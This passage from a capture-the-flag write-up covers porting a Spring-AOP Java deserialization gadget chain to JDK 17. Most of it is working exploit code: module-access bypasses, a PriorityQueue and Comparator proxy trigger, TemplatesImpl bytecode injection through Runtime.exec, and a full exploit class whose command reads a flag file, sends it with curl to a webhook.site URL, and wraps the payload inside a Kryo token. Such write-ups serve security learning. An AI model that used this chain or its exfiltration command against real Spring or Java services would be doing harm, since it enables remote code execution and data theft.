Modern write-ups suggest using JDBC gadgets as an alternate sink. However, this requires the application to import specific database libraries, such as the PostgreSQL JDBC Driver, which our challenge does not do.
Very recently, people have found methods to bypass strong encapsulation for TemplatesImpl
, publishing blog posts in late August (just one month before this CTF went live!). These bypasses will come in useful for the final gadget chain; we’ll save our discussion of these methods for the next section.
Solution
After an absurd amount of Googling, we find a recent blogpost from Ape1ron detailing a novel Spring-AOP chain utilizing AbstractAspectJAdvice
. Helpfully, they also have a Github repository with the PoC. Here is a diagram of the gadget chain from their blog.
Credit: 银针安全/Ape1ron
Immediately, we see a few familiar gadgets – BadAttributeValueExpException
and Proxy
. At a high-level, the chain uses the BadAttributeValueExpException
sink to trigger a toString()
call on a Proxy
object. The Proxy
object has a JdkDynamicAopProxy
as its InvocationHandler
. This triggers the rest of the chain (I won’t re-explain the entire gadget chain as the author’s write-up does a good job of doing that), and ends up with a reflective method invocation without the ability to pass arguments.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public abstract class AbstractAspectJAdvice implements Advice, AspectJPrecedenceInformation, Serializable {
protected transient Method aspectJAdviceMethod;
protected @Nullable Object invokeAdviceMethodWithGivenArgs(@Nullable Object[] args) throws Throwable {
@Nullable Object[] actualArgs = args;
if (this.aspectJAdviceMethod.getParameterCount() == 0) {
actualArgs = null;
}
Object aspectInstance = this.aspectInstanceFactory.getAspectInstance();
if (aspectInstance.equals(null)) {
// Possibly a NullBean -> simply proceed if necessary.
if (getJoinPoint() instanceof ProceedingJoinPoint pjp) {
return pjp.proceed();
}
return null;
}
try {
ReflectionUtils.makeAccessible(this.aspectJAdviceMethod);
return this.aspectJAdviceMethod.invoke(aspectInstance, actualArgs);
}
// ...
}
While it is not included in the diagram, their Github PoC utilizes TemplatesImpl
as the sink gadget for RCE, which is perfect for this use case.
Here is my setup for running the PoC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1. docker run --rm -it maven:3.9.8-eclipse-temurin-11 /bin/bash
2. apt update && apt install vim -y
3. git clone https://github.com/Ape1ron/SpringAopInDeserializationDemo1.git
4. Add to pom.xml: (before project closing tag)
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.3.0</version>
<configuration>
<archive>
<manifest>
<mainClass>SpringAOP1</mainClass>
</manifest>
</archive>
</configuration>
</plugin>
</plugins>
</build>
5. Modify the RCE command: vim src/main/java/Util.java
6. mvn clean package
7. mvn dependency:copy-dependencies
8. java -cp "target/SpringAOP1-1.0-SNAPSHOT.jar:target/dependency/*" SpringAOP1
In step 5, we replace the default calc
command with touch /tmp/pwned.txt
. Running the application and checking /tmp
, we see that the command was successfully executed.
Next, let’s port the exploit to JDK 17. We can reuse the setup above, but swap out the Docker image for maven:3.9.8-eclipse-temurin-17
. Next, let’s modify the application so that it performs the serialization and deserialization separately.
1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) throws Throwable {
String path = "/tmp/aop1.ser";
if (args.length >= 1 && args[0].equals("deser")) {
Util.readObj4File(path);
} else {
SpringAOP1 aop1 = new SpringAOP1();
Object object = aop1.getObject(Util.getDefaultTestCmd());
Util.writeObj2File(object,path);
}
}
Now, we can try running the program to serialize the object. We are greeted with this error:
1
2
3
4
5
6
Exception in thread "main" java.lang.IllegalAccessError: class TemplatesImplNode (in unnamed module @0x56f221e0) cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @0x56f221e0
at TemplatesImplNode.createTemplatesImpl(TemplatesImplNode.java:47)
at TemplatesImplNode.makeGadget(TemplatesImplNode.java:35)
at SpringAOP1.getAspectJAroundAdvice(SpringAOP1.java:93)
at SpringAOP1.getObject(SpringAOP1.java:38)
at SpringAOP1.main(SpringAOP1.java:29)
This is precisely because of the JDK 17+ strong encapsulation enforcement discussed earlier. We can get around this error by passing in the flags:
1
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.management/javax.management=ALL-UNNAMED
The --add-opens
flag exposes specific modules to the target modules. The above flags expose the required internal modules to all unnamed modules. This allows us to successfully run the serialization command, writing the serialized object to /tmp/aop1.ser
.
These flags are a runtime bypass. Applications, like the challenge server, that run without these flags will still be unable to access these modules. Thus, to ensure that our setup matches the challenge setup, we should run the deserialization command without these flags.
It may seem confusing as to why we should use different flags for serialization and deserialization. During serialization, we are actively constructing the malicious gadget chain. This requires reflective access to private fields that is only possible with the additional flags. When the serialized object is passed to the server, the payload already contains the internal state that we built during serialization. So, the deserialization command does not need the same privileges. This is not to say that strong encapsulation is not enforced in deserialization, and we will still have to bypass that later.
We can now run the serialization and deserialization with the command:
1
mvn package && java -cp "target/SpringAOP1-1.0-SNAPSHOT.jar:target/dependency/*" --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.management/javax.management=ALL-UNNAMED SpringAOP1 ser && java -cp "target/SpringAOP1-1.0-SNAPSHOT.jar:target/dependency/*" SpringAOP1 deser
Fixing BadAttributeValueExpException
Running the program now will emit the following error:
1
2
3
4
5
6
7
8
9
Exception in thread "main" java.lang.IllegalArgumentException: Can not set java.lang.String field javax.management.BadAttributeValueExpException.val to jdk.proxy1.$Proxy1
at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:167)
at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:171)
at java.base/jdk.internal.reflect.UnsafeObjectFieldAccessorImpl.set(UnsafeObjectFieldAccessorImpl.java:81)
at java.base/java.lang.reflect.Field.set(Field.java:799)
at Reflections.setFieldValue(Reflections.java:43)
at BadAttrValExeNode.makeGadget(BadAttrValExeNode.java:8)
at SpringAOP1.getObject(SpringAOP1.java:51)
at SpringAOP1.main(SpringAOP1.java:29)
The gadget chain uses BadAttributeValueExpException
to trigger a toString()
call on a proxy. However, recall that this method has been patched in JDK 17+. So, we must find a different sink. Let’s look at how exactly the InvocationHandler
object handles the toString()
call.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
final class JdkDynamicAopProxy implements AopProxy, InvocationHandler, Serializable {
// ...
@Override
public @Nullable Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object oldProxy = null;
boolean setProxyContext = false;
TargetSource targetSource = this.advised.targetSource;
Object target = null;
try {
// [1]
if (!this.cache.equalsDefined && AopUtils.isEqualsMethod(method)) {
return equals(args[0]);
}
// [2]
else if (!this.cache.hashCodeDefined && AopUtils.isHashCodeMethod(method)) {
return hashCode();
}
else if (method.getDeclaringClass() == DecoratingProxy.class) {
return AopProxyUtils.ultimateTargetClass(this.advised);
}
else if (!this.advised.isOpaque() && method.getDeclaringClass().isInterface() &&
method.getDeclaringClass().isAssignableFrom(Advised.class)) {
return AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);
}
Object retVal;
if (this.advised.isExposeProxy()) {
oldProxy = AopContext.setCurrentProxy(proxy);
setProxyContext = true;
}
target = targetSource.getTarget();
Class<?> targetClass = (target != null ? target.getClass() : null);
List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
if (chain.isEmpty()) {
@Nullable Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args);
retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse);
}
else {
// We need to create a method invocation...
MethodInvocation invocation =
new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
// Proceed to the joinpoint through the interceptor chain.
// [3]: This is what we want to call
retVal = invocation.proceed();
}
// ...
The invoke()
method first checks that if the method called is equals()
([1]) or hashCode()
([2]), calling a custom implementation if so. If the method called is not either of those functions, we reach the invocation at [3], which is the next gadget.
So, the toString()
call from BadAttributeValueExpException
simply fails the first few checks and proceeds to the next gadget in the chain. Unfortunately, there aren’t any other toString()
gadgets accessible in this challenge. However, we don’t actually need a toString()
call – any method call (except equals()
and hashCode()
) will do.
There are many ways to achieve this, but I utilized the PriorityQueue
idea introduced earlier. When deserialized, the PriorityQueue
will call Comparator::compare()
on the Comparator
object it contains. Instead of supplying a BeanComparator
, we can supply a Proxy
that implements the Comparator
class instead. Then, when the PriorityQueue
calls compare()
, the method call will be forwarded to the JdkDynamicAopProxy
. Because the call is neither equals()
nor hashCode()
, it will follow the same code path as the toString()
call, triggering the next gadget.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object getObject (String cmd) throws Throwable {
// ...
// Object proxy2 = Proxy.makeGadget(jdkDynamicAopProxy2, Map.class);
// Object badAttrValExe = BadAttrValExeNode.makeGadget(proxy2);
// return badAttrValExe;
Object proxy2 = Proxy.makeGadget(jdkDynamicAopProxy2, Comparator.class);
PriorityQueue<Object> pq = new PriorityQueue<>(2, (Comparator<Object>)proxy2);
// Don’t trigger locally: directly set internal state so heapify happens only on deserialize
Object[] q = new Object[] { 1, 1 }; // two dummies; values don’t matter
Reflections.setFieldValue(pq, "size", 2);
Reflections.setFieldValue(pq, "queue", q);
return pq;
}
If the
equals()
andhashCode()
calls weren’t short-circuited, there are much simpler ways to replace thetoString()
call. For instance, we can use a HashMap.
Fixing TemplatesImpl
After switching to the PriorityQueue
gadget, the application now produces a different error:
1
2
3
4
5
6
7
Exception in thread "main" java.lang.reflect.UndeclaredThrowableException
...
Caused by: java.lang.IllegalAccessException: class org.springframework.aop.aspectj.AbstractAspectJAdvice cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @56f221e0
at java.base/jdk.internal.reflect.Reflection.newIllegalAccessException(Reflection.java:392)
at java.base/java.lang.reflect.AccessibleObject.checkAccess(AccessibleObject.java:674)
at java.base/java.lang.reflect.Method.invoke(Method.java:561)
at org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethodWithGivenArgs(AbstractAspectJAdvice.java:634)
This error happens due to the enforcement of strong encapsulation. As expected, if we look at the exception trace, we see that it originates from the Method.invoke()
call-site. Currently, the PoC constructs the gadgets like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public AspectJAroundAdvice getAspectJAroundAdvice(String cmd) throws Exception {
Object templatesImpl = TemplatesImplNode.makeGadget(cmd); // [1]
SingletonAspectInstanceFactory singletonAspectInstanceFactory = new SingletonAspectInstanceFactory(templatesImpl);
AspectJAroundAdvice aspectJAroundAdvice = Reflections.newInstanceWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(aspectJAroundAdvice,"aspectInstanceFactory",singletonAspectInstanceFactory);
Reflections.setFieldValue(aspectJAroundAdvice,"declaringClass", TemplatesImpl.class); // [2]
Reflections.setFieldValue(aspectJAroundAdvice,"methodName", "newTransformer");
Reflections.setFieldValue(aspectJAroundAdvice,"parameterTypes", new Class[0]);
AspectJExpressionPointcut aspectJExpressionPointcut = new AspectJExpressionPointcut();
Reflections.setFieldValue(aspectJAroundAdvice,"pointcut",aspectJExpressionPointcut);
Reflections.setFieldValue(aspectJAroundAdvice,"joinPointArgumentIndex",-1);
Reflections.setFieldValue(aspectJAroundAdvice,"joinPointStaticPartArgumentIndex",-1);
return aspectJAroundAdvice;
}
The templatesImpl
sink gadget is created at [1]. At [2], the declaringClass
field is set to the TemplatesImpl
class. Subsequently, JdkDynamicAopProxy
knows to look for the specified method name (“newTransformer”) in the supplied declaringClass
and finds the corrects the method. It then invokes that method on the underlying object, which is the templatesImpl
gadget we create.
The error arises from the invocation. The method found by JdkDynamicAopProxy
is TemplatesImpl::newTransformer()
, which is not publicly exported. Hence, the reflective invocation is blocked by strong encapsulation enforcement.
As mentioned earlier, people have found ways to get around the module visibility issue. The easiest way is to wrap the templatesImpl
object in a proxy. Consider the following patches:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public AspectJAroundAdvice getAspectJAroundAdvice(String cmd) throws Exception {
Object tmp = TemplatesImplNode.makeGadget(cmd); // CHANGED
InvocationHandler jdkDynamicAopProxy1 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget(tmp); // CHANGED
Object templatesImpl = Proxy.makeGadget(jdkDynamicAopProxy1, Templates.class); // CHANGED
SingletonAspectInstanceFactory singletonAspectInstanceFactory = new SingletonAspectInstanceFactory(templatesImpl);
AspectJAroundAdvice aspectJAroundAdvice = Reflections.newInstanceWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(aspectJAroundAdvice,"aspectInstanceFactory",singletonAspectInstanceFactory);
Reflections.setFieldValue(aspectJAroundAdvice,"declaringClass", Templates.class); // CHANGED
Reflections.setFieldValue(aspectJAroundAdvice,"methodName", "newTransformer");
Reflections.setFieldValue(aspectJAroundAdvice,"parameterTypes", new Class[0]);
AspectJExpressionPointcut aspectJExpressionPointcut = new AspectJExpressionPointcut();
Reflections.setFieldValue(aspectJAroundAdvice,"pointcut",aspectJExpressionPointcut);
Reflections.setFieldValue(aspectJAroundAdvice,"joinPointArgumentIndex",-1);
Reflections.setFieldValue(aspectJAroundAdvice,"joinPointStaticPartArgumentIndex",-1);
return aspectJAroundAdvice;
}
Instead of passing the templatesImpl
directly to the Advisor, we first wrap it in a proxy that implements the Templates
interface. This is a public interface that defines methods like newTransformer()
– the TemplatesImpl
class actually implements this interface. Here, we aren’t utilizing any special behaviour of the InvocationHandler
, but merely using the proxy functionality.
Since we modified the declaringClass
to Templates
, JdkDynamicAopProxy
looks for the “newTransformer” method in the publicly exported Templates
instead of the private TemplatesImpl
. Subsequently, it invokes Templates::newTransformer()
on the underlying object, which is the proxy we created. The invocation does not throw an error because the Templates
class is publicly accessible. Since our proxy is a surrogate, the ::newTransformer()
call is forwarded to the real object, the TemplatesImpl
sink. Because TemplatesImpl
implements the Templates
interface, the method invocation succeeds and the private TemplatesImpl::newTransformer()
is called instead.
Many blog posts talk about using the Unsafe class to solve this error. Maybe I have a wrong understanding, but I’m not sure how the module modifications made at serialization time will persist through to deserialization…
Running the exploit now, fingers crossed … and a new error!
1
2
3
4
5
6
7
8
9
10
11
12
Exception in thread "main" java.lang.reflect.UndeclaredThrowableException
...
Caused by: javax.xml.transform.TransformerConfigurationException: Translet class loaded, but unable to create translet instance.
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:540)
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:554)
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:587)
...
Caused by: java.lang.IllegalAccessError: superclass access check failed: class ysoserial.Pwner2238671961883109 (in unnamed module @0x366e2eef) cannot access class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.runtime to unnamed module @0x366e2eef
at java.base/java.lang.ClassLoader.defineClass1(Native Method)
at java.base/java.lang.ClassLoader.defineClass(ClassLoader.java:1017)
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:207)
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:517)
The PoC actually uses the same code as ysoserial
for creating the TemplatesImpl
gadget. Let’s first understand this traditional method. Recall that the TemplatesImpl
code flow goes through getTransletInstance()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private Class<?>[] _class = null;
private int _transletIndex = -1;
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
// ...
}
It is that last line that gives us arbitrary code execution. So, we must control _class
and _transletIndex
. Let’s look at defineTransletClasses()
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
private void defineTransletClasses()
throws TransformerConfigurationException {
// ...
try {
final int classCount = _bytecodes.length;
_class = new Class<?>[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
// ...
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i], pd); // [1]
final Class<?> superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) { // [2]
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
}
At [1], the class is defined based on the user-supplied bytecode. At [2], it checks if the class’s superclass is ABSTRACT_TRANSLET
, i.e. whether it inherits from the AbstractTranslet
class. If so, it defines the _transletIndex
. When this call returns to getTransletInstance()
, __transletIndex
will be properly set up and will trigger our arbitrary code execution.
For this traditional method to work, the newly-defined class to inherit from AbstractTranslet
. This is not an issue is older JDKs, but with enforced strong encapsulation in JDK 17+, the superclass access check will fail for the private AbstractTranslet
class.
1
Caused by: java.lang.IllegalAccessError: superclass access check failed: class ysoserial.Pwnedd2239137032061264 (in unnamed module @0x366e2eef) cannot access class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.runtime to unnamed module @0x366e2eef
The modern method to solve this problem is to specify _transletIndex
directly. Since it is not a transient variable, this is possible. This Whoopsunix write-up does a fantastic job of explaining the intricacies. Here is the modified TemplatesImpl
gadget creation code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class TemplatesImplNode {
public static byte[] getTemplateCode(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
String block = "Runtime.getRuntime().exec(\"" + cmd + "\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static Object makeGadget(String cmd) throws Exception {
byte[] code1 = getTemplateCode(cmd);
byte[] code2 = ClassPool.getDefault().makeClass("something").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Reflections.setFieldValue(templates, "_name", "xxx");
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
Reflections.setFieldValue(templates,"_transletIndex",0);
return templates;
}
}
Finally, the exploit works!
1
2
# ls /tmp/
aop1.ser hsperfdata_root pwned.txt
This write-up was released just one month before the CTF and provides a good explanation of how to deal with both JVM errors. However, write-ups on this problem have existed before them, albeit less organized. The challenge author, amon, told me that the intended solution was to adapt the original chain to give a one-argument reflective method call, and not these bypass methods. I think that would have taken me an even longer time to figure out.
Piecing it together
The challenge server uses newer versions of Spring than the PoC. Because Java de/serialization is version specific, we have to upgrade the PoC’s dependencies to match the challenge’s. In fact, the challenge’s Spring version is only supported on JDK 17+, so annoyingly we can’t test it on JDK 11.
Next, recall that the server serializes the Token
object using Kryo.
1
2
3
4
5
6
public class Token {
private String scope;
private UUID magic;
private HashMap<String, Object> properties;
// ...
It falls back to the default Java serializer only for a few collections types, with one of them being Collections.unmodifiableMap
. We can insert a properties
value that is a Collections.unmodifiableMap
object, and add our gadget chain as a key in that unmodifiableMap
. When Kryo deserializes properties
, it falls back to default Java deserialization for the unmodifiableMap
, which includes its keys, triggering deserialization of our gadget chain.
Finally, we can launch this attack from the reverse shell we obtained in Part 2.
I learnt a lot from this challenge. Objectively speaking, it isn’t the most technically difficult challenge. However, because this is a new topic for me, just finding the relevant resources took a lot of time. It did not help that most of the resources were in Chinese and poorly indexed by Google. After a while, I actually switched to Baidu, which was where I found the Ape1ron gadget chain.
One interesting way of finding that gadget chain is through OSINT. The author leaves the URL of his personal blog in the pom.xml file. Checking his Github stars reveals a bunch of repositories related to Java deserialization attacks, including the Ape1ron chain. Unfortunately, I only discovered this after finding the chain myself and looking at its Github stars… Anyway, this wouldn’t have been the first time OSINT was useful in TISC
Exploit (based on Ape1ron repo):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
// SpringAOP1.java
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.aopalliance.aop.Advice;
import org.aopalliance.intercept.MethodInterceptor;
import org.springframework.aop.Advisor;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.framework.DefaultAdvisorChainFactory;
import org.springframework.aop.support.DefaultIntroductionAdvisor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.HashMap;
import java.util.PriorityQueue;
import java.util.Comparator;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import sun.reflect.ReflectionFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.lang.reflect.*;
import javax.xml.transform.Templates;
import java.util.*;
public class SpringAOP1 {
public static void main(String[] args) throws Throwable {
SpringAOP1 aop1 = new SpringAOP1();
Object object = aop1.getObject("new String[]{\"/bin/sh\", \"-c\", \"/read_eye_flag > /tmp/log.txt; curl https://webhook.site/aeb56f6f-d1c7-47dd-b27f-38f01af44959?p=1 -F file=@/tmp/log.txt; rm /tmp/log.txt\"}");
Token token = new Token();
token.setScope("web");
token.setMagic(java.util.UUID.fromString("123e4567-e89b-12d3-a456-426614174000"));
token.setProperty("pwn", "hiya!");
Map<Object,Object> inner = new HashMap<>();
inner.put(object, "x");
Map<Object,Object> unmodifiable = Collections.unmodifiableMap(inner);
token.setProperty("malicious", unmodifiable);
String bd = Token.TokenUtils.serializeToBase64(token);
System.out.println(bd);
}
public Object getObject (String cmd) throws Throwable {
AspectJAroundAdvice aspectJAroundAdvice = getAspectJAroundAdvice(cmd);
InvocationHandler jdkDynamicAopProxy1 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget(aspectJAroundAdvice);
Object proxy1 = Proxy.makeGadget(jdkDynamicAopProxy1, Advisor.class, MethodInterceptor.class);
Advisor advisor = new DefaultIntroductionAdvisor((Advice) proxy1);
List<Advisor> advisors = new ArrayList<>();
advisors.add(advisor);
AdvisedSupport advisedSupport = new AdvisedSupport();
Reflections.setFieldValue(advisedSupport,"advisors",advisors);
DefaultAdvisorChainFactory advisorChainFactory = new DefaultAdvisorChainFactory();
Reflections.setFieldValue(advisedSupport,"advisorChainFactory",advisorChainFactory);
InvocationHandler jdkDynamicAopProxy2 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget("ape1ron",advisedSupport);
Object proxy2 = Proxy.makeGadget(jdkDynamicAopProxy2, Comparator.class);
PriorityQueue<Object> pq = new PriorityQueue<>(2, (Comparator<Object>)proxy2);
// Don’t trigger locally: directly set internal state so heapify happens only on deserialize
Object[] q = new Object[] { 1, 1 }; // two dummies; values don’t matter
Reflections.setFieldValue(pq, "size", 2);
Reflections.setFieldValue(pq, "queue", q);
return pq;
}
public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
public AspectJAroundAdvice getAspectJAroundAdvice(String cmd) throws Exception {
Object tmp = TemplatesImplNode.makeGadget(cmd);
InvocationHandler jdkDynamicAopProxy1 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget(tmp);
Object templatesImpl = Proxy.makeGadget(jdkDynamicAopProxy1, Templates.class);
SingletonAspectInstanceFactory singletonAspectInstanceFactory = new SingletonAspectInstanceFactory(templatesImpl);
AspectJAroundAdvice aspectJAroundAdvice = Reflections.newInstanceWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(aspectJAroundAdvice,"aspectInstanceFactory",singletonAspectInstanceFactory);
Reflections.setFieldValue(aspectJAroundAdvice,"declaringClass", Templates.class);
Reflections.setFieldValue(aspectJAroundAdvice,"methodName", "newTransformer");
Reflections.setFieldValue(aspectJAroundAdvice,"parameterTypes", new Class[0]);
AspectJExpressionPointcut aspectJExpressionPointcut = new AspectJExpressionPointcut();
Reflections.setFieldValue(aspectJAroundAdvice,"pointcut",aspectJExpressionPointcut);
Reflections.setFieldValue(aspectJAroundAdvice,"joinPointArgumentIndex",-1);
Reflections.setFieldValue(aspectJAroundAdvice,"joinPointStaticPartArgumentIndex",-1);
return aspectJAroundAdvice;
}
}
Flag: TISC{5c1enc3_c0mp3ls_u5_t0_bl0w_up_th3_5uN_a5db3063b77085f08d777c080de80c02}
For more recent gadget chains, I recommend checking these two repos: PPPYSO and CTF-Java-Gadget